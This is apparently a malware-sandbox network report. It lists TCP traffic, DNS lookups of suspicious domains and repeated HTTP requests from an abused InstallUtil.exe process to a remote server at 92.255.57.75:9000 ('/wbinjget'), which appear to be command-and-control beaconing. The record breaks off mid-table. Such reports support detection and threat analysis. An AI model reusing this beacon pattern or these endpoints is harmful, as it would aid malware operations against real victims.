Dec 17, 2024 08:40:34.397890091 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.399964094 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.405895948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.405960083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.406059027 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.428935051 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.430228949 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.446552992 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.446619034 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.446743011 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.462524891 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.462668896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.480850935 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.480870008 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.480992079 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.494060040 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.495881081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.500994921 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.503885984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.523165941 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.525794983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.527870893 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.528541088 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.544739962 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.550081015 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.550426960 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.550546885 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.555370092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.556009054 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.576028109 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.576064110 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.578046083 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.590075970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.590176105 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.605787039 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.605824947 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.605899096 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.623667002 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.625823021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.625996113 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.643064022 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.643147945 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.654166937 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.654216051 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.654309034 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.658495903 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.658549070 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.658683062 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.664777040 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.665028095 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.674470901 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.674668074 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.687921047 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.688013077 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.688069105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.688338041 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.696276903 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.696728945 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.712008953 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.712125063 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.738214016 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.742350101 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.742403984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.742434978 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.743218899 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.743272066 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.774072886 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.774164915 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.774439096 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.784832954 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.785085917 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.793042898 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.793132067 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.797514915 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.797647953 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.807832956 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.808047056 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.816715002 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.818619013 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.835123062 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.835252047 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.844861031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.844929934 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.845005989 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.846383095 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.858114958 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:34.862265110 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:34.863054991 CET	15647	49998	92.255.57.75	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 08:38:12.161838055 CET	192.168.2.5	1.1.1.1	0x45b5	Standard query (0)	static.klipxuhaq.shop	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:17.628844023 CET	192.168.2.5	1.1.1.1	0x5ab3	Standard query (0)	csp-invoices-v5.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:18.530100107 CET	192.168.2.5	1.1.1.1	0x2b85	Standard query (0)	cndef1.green-pathways.shop	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:32.130460024 CET	192.168.2.5	1.1.1.1	0x4f40	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 08:38:12.424719095 CET	1.1.1.1	192.168.2.5	0x45b5	No error (0)	static.klipxuhaq.shop		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:12.424719095 CET	1.1.1.1	192.168.2.5	0x45b5	No error (0)	static.klipxuhaq.shop		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:12.424719095 CET	1.1.1.1	192.168.2.5	0x45b5	No error (0)	static.klipxuhaq.shop		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:12.424719095 CET	1.1.1.1	192.168.2.5	0x45b5	No error (0)	static.klipxuhaq.shop		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:12.424719095 CET	1.1.1.1	192.168.2.5	0x45b5	No error (0)	static.klipxuhaq.shop		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:12.424719095 CET	1.1.1.1	192.168.2.5	0x45b5	No error (0)	static.klipxuhaq.shop		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:12.424719095 CET	1.1.1.1	192.168.2.5	0x45b5	No error (0)	static.klipxuhaq.shop		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:18.032856941 CET	1.1.1.1	192.168.2.5	0x5ab3	No error (0)	csp-invoices-v5.com		83.166.133.91	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:18.803611994 CET	1.1.1.1	192.168.2.5	0x2b85	No error (0)	cndef1.green-pathways.shop		188.114.97.6	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:18.803611994 CET	1.1.1.1	192.168.2.5	0x2b85	No error (0)	cndef1.green-pathways.shop		188.114.96.6	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:29.277893066 CET	1.1.1.1	192.168.2.5	0x569f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:29.277893066 CET	1.1.1.1	192.168.2.5	0x569f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:38:32.356103897 CET	1.1.1.1	192.168.2.5	0x4f40	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49789	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:38:48.210978985 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:38:49.511989117 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:38:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49794	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:38:49.742484093 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:38:51.066960096 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:38:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49799	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:38:51.306651115 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:38:52.632039070 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:38:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49802	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:38:52.864063025 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:38:54.191493034 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:38:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49808	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:38:54.428206921 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:38:55.758583069 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:38:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49813	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:38:55.989619017 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:38:57.318975925 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:38:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49817	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:38:57.555270910 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:38:58.880841017 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:38:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49821	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:38:59.144989967 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:00.464844942 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49825	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:00.694125891 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:02.019468069 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49830	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:02.254502058 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:03.577754021 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49834	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:03.803143978 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:05.128549099 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49840	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:05.365233898 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:06.693592072 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49843	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:07.310233116 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:08.636554003 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49849	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:08.864954948 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:10.189166069 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49853	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:10.412216902 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:39:11.740436077 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49857	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:11.973573923 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:13.300384045 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:12 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49862	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:13.536144018 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:14.861831903 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49868	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:15.098220110 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:16.422391891 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:15 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49869	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:16.661298990 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:17.985790968 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:17 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49875	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:18.207964897 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:19.535425901 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:18 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49881	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
